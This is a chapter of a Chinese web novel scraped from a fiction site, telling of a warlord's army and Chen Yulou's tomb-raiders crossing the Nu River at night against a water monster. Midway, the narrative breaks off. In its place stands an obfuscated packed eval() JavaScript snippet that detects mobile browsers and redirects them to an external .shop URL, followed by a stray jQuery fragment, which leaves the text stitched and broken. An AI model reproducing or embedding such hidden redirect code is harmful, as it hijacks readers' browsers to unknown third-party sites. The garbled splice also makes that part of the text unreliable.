文趣网 > 其他小说 > 无相人间 > 3. 怒江夜渡
    怒江夜里不像江,像一条活着的黑龙。

    张家军到江边时,卸岭的人已经在了。

    没扎营,没点火,三百号人伏在乱石滩里,像一群从土里长出来的鬼。江风裹着水汽,混着山岚,把人身上的热气都泡散了,只剩一双双在暗处泛光的眼睛。

    第六团团长秦照一勒马,马蹄踏在湿石上,擦出一串火星。他脸色当场沉下去,手按在腰间驳壳枪上。

    “谁让你们先到的?”

    话砸在江面上,被湍流绞得粉碎。

    黑暗里,有人笑了一声。不高,带着湘西腔,散漫,却压过了半条江的吼。

    “路是山里的路,水是山里的水。张家军问谁先到,是不是问错地方了?”

    乱石滩里,一个人影慢吞直起身。黑绸子短打,外头罩着油布斗篷,腰里挂柄卸岭刀。斗篷兜帽掀开半边,露出一张年轻的脸,眉眼带笑,可那笑没到眼底。

    “花玛拐。”秦照认得他,卸岭里最善水性的悍将,陈总把头手下第一等心腹。

    “常胜山的手,伸得够长。怒江,什么时候改姓陈了?”

    “秦团长这话讲的。”花玛拐往前走了两步,靴子踩在鹅卵石上,哗啦响,“怒江没改姓,可怒江底下的暗礁、回水湾、沉船桩,桩桩件件都记在我卸岭的册子上。张家军要过江,问过水鬼没?”

    他话里带刺。张家军南征北战,火炮能犁地,可到了这十万大山的怒江边,一身本事先废三成。

    一营长陈四当场就要拔枪:“放肆!再敢对张大帅不敬——”

    “陈四。”

    一个声音从后头传来,不高,却让三百多条汉子同时把背挺直。

    张子轩到了。

    他没骑马。军靴踩着泥,一身青灰色军装,风纪扣到顶,领口别着云南督军府的徽章。月光斜打过来,照在他右眼眼角那颗小小的泪痣上,像滴没落下去的冷露。整个人越发显得疏冷。

    他走到江边,离花玛拐十步,站定。江风把他军装下摆吹得猎猎响。

    “陈掌柜呢?”他开口,没问花玛拐,直指正主。

    “我们总把头,”花玛拐抱了抱拳,礼数周全,话却滴水不漏,“说了,张家军是客。我们卸岭先到,是给客人扫席子。江心那几块礁石,夜里涨水看不见,我们弟兄已经用白磷标了。秦团长只管下令渡江,淹死一个,算我花玛拐的。”

    软钉子,带着倒刺。

    秦照气得额角青筋跳。张家军什么时候要土匪探路?传出去,云南军的脸往哪搁。

    可张子轩没动怒。他往前一步,靴尖几乎碰到水。怒江的水扑上来,瞬间吞到他脚踝,又退下去。

    “卸岭的情,张某领了。”他声音不高,江风一吹就散,可每个字都像钉子,“但张家军过江,有张家军的规矩。”

    他回头,两个字:“架炮。”

    轰隆隆——

    后队里,十二门迫击炮同时卸驮,基座砸进泥里。炮口不朝对岸,朝天。

    秦照愣了一秒,随即明白过来,高声吼:“照明弹!三发!放!”

    咻!咻!咻!

    三颗照明弹拖着尖啸射上夜空,嘭地炸开。惨白的光把整条怒江照得纤毫毕现。

    江心,礁石。岸边,乱石。还有卸岭三百号人,全暴露在光下。有人下意识抬手遮眼,有人摸向腰刀。

    花玛拐脸色变了。卸岭擅夜行,擅隐蔽。张子轩三发照明弹,直接废了卸岭半场地利。

    “张大帅好大的手笔。”黑暗里,另一个声音响起来,带着笑,带着三分懒,“烧钱照亮,就为看清楚我卸岭弟兄有几根眉毛?”

    人随声出。

    陈玉楼从一块巨石后头转出来。藏青常服,外罩玄色大氅。他手里没盘核桃,换了一支旱烟杆。照明弹的光还没灭,他却没眯眼,没遮光,反而抬头直视着那刺眼的白,像白昼看物一般从容。卸岭只有一个魁首,常胜山总把头,生了一双夜眼,黑夜于他如无物。

    他走到张子轩身边三步,站定。两个男人,一文一武,一黑一青,并肩立在怒江边,竟分不出谁的气势更盛。

    “陈掌柜,”张子轩侧头,右眼眼角那颗泪痣在炮火映照下,倒像滴血,“舍得出来了?”

    “张大帅摆这么大阵仗,”陈玉楼用旱烟杆点了点天上还没熄灭的照明弹,“我再躲着,当缩头乌龟了。”

    两人都不笑。三年瓶山,尸山血海里滚出来的交情,开不得玩笑。

    卸岭自始至终,只有一个魁首。就是眼前这位常胜山总把头,陈玉楼。

    “江你探了,”张子轩开口,“路怎么走?”

    “水路三条。”陈玉楼旱烟杆往江面上一划,“上游五里,狼牙渡,水缓,但暗桩多,要凫水过去,凿沉桩。中游,眼下这片,石牛滩,礁石多,但白磷标了,能走船。下游十里,老鸦峡,水急,但两岸有老藤,能架索道。”

    他说完,看着张子轩:“张大帅挑一条。卸岭的弟兄,任你调遣。”

    话说得漂亮。任你调遣,就是把先锋的位子让出来,把伤亡的位子也让出来。

    秦照听出来了,当场踏前一步:“大帅!不能让他们牵着走!咱们有炮,有船,强渡!”

    “强渡?”陈玉楼笑了,旱烟杆在掌心敲了敲,“秦团长,怒江底下,沉了大清三艘兵船,民国七架浮桥。不是炮弹多就能过去的。水里有东西。”

    他最后五个字,说得轻。

    可江风忽然一停。所有人都听见江心深处,传来一声闷响,像牛吼,又像巨石翻滚。

    张家军的兵,下意识抓紧了枪。常年打仗不怕,可山里的邪性,谁都怵。

    张子轩没说话。他蹲下去,抓了一把江边的泥,捻开。泥里有铁锈味,还有股腥。

    “水魈。”他站起来,说出两个字。

    花玛拐眼神一亮。行家。张子轩带兵归带兵,倒斗的门道,居然也懂。

    “所以,”陈玉楼接过话头,“石牛滩不能走船。船一响,水魈就醒。整船的人,都得喂鱼。”

    “那就走狼牙渡。”秦照咬牙,“我们凫水!”

    “凫水?”花玛拐嗤笑,“秦团长,你手下的兵,几个识水性?狼牙渡的水,冬天能冻断骨头。下去一半,剩不下几个。”

    “那你说怎么走!”陈四急了,“老鸦峡架索道?对面悬崖,谁先过去挂绳子?当靶子吗!”

    两边人马,火气一下顶到嗓子眼。张家军讲军令、阵型、火力,讲究一个平推。卸岭讲地形、暗道、水性、机关,讲究一个巧字。话不投机,枪都半抬起来了。

    “都闭嘴。”

    张子轩和陈玉楼,同时开口。

    两个声音,两个调子,却一样的沉。两边的人,硬生把火气咽回去。

    江边

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932441|213645||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    又只剩水声。

    张子轩看向陈玉楼:“陈掌柜,你要什么?”

    “痛快。”陈玉楼点头,“我要头阵。卸岭下水,凿桩。张大帅的炮,借我用一下。”

    “借炮?”秦照瞪眼,“炮给你,朝哪打?”

    “不朝人打。”陈玉楼用烟杆指了指江心,“朝龙王打。十二发炮弹,沿江心一线,隔二十丈一发,延时引信。把水魈惊起来,赶到上游去。”

    “然后呢?”张子轩问。

    “然后,”陈玉楼看向他,月光下,那双眼亮得惊人,“张大帅的兵,踩着我卸岭弟兄凿沉的桩,泅渡。半个时辰,过完一个团。过了江,归烬山的路,你走前,我走后。墓里头的东西,五五分。”

    条件开出来了。

    拿卸岭三百条命,换一个头阵,换五成份子。

    秦照还要说话,张子轩抬手止住他。

    他在算。炮弹惊水魈,是险棋。成了,江面太平。败了,水魈受惊,整条江都得翻。卸岭的人下水凿桩,更是九死一生。常胜山肯下血本,所图必然更大。

    可他没得选。张家军不识水性,硬拖下去,折在江里,比折在瓶山还窝囊。

    “墨儿。”张子轩开口。

    “在。”墨儿从黑暗里闪出来,手里捧着件东西。

    一件皮质水靠,湘西水师的制式。内衬用牛筋缝过,刀枪难入。

    张子轩接过来,没穿,丢给陈玉楼。

    “陈掌柜,”他说,“你的人下去,我的人开炮。你要是死在江里,”

    他顿了顿,看着陈玉楼的眼睛:“瓶山的账,我跟阎王爷算。”

    陈玉楼接住水靠,愣了一下,随即大笑。他把大氅一解,露出里头精壮的水靠,居然早就穿好了。

    “张大帅,”他把张子轩丢来的那件,又丢回去,“心意领了。陈某的命,自己攒着。”

    他转身,旱烟杆往天上一举。

    “卸岭的!下水!”

    “是!”

    三百号人,没一句废话,脱了外衣,露出水靠,抄起凿子、渔网、朱砂,扑通扑通,像下饺子一样扎进怒江。

    冰冷的江水,瞬间把人吞没。

    张子轩面无表情,转身:“秦照。”

    “有!”

    “十二发,延时三秒,沿江心打。炸完,机枪封锁两岸,有浮起来的东西,不管是人是鬼,全打烂。”

    “是!”

    轰!轰!轰!

    炮声撕裂夜空。火光映在江面上,映在张子轩和陈玉楼脸上。

    一个持军,一个倒斗。

    江水沸腾,水魈嘶吼,卸岭的汉子在水底凿桩。

    这一夜,怒江改道。

    而张子轩和陈玉楼,第一次真正意义上,并肩而立。

    不是朋友,是对手。是从死人堆里认出来的,唯一的对手。

    江对岸,归烬山隐在黑暗里,像一头蹲着的巨兽。

    谁先过江,谁就离无相玉胎近一步。

    可张子轩和陈玉楼都知道,真正的斗法,从过了江才开始。

    张家军的炮,和卸岭的刀。

    这一局,谁都不肯让。

    ?

    云南督军张子轩,湘阴总把头陈玉楼。

    一个掌兵,一个掌道。十万大军对十万响马。

    瓶山不渡,怒江难渡,人心更难渡。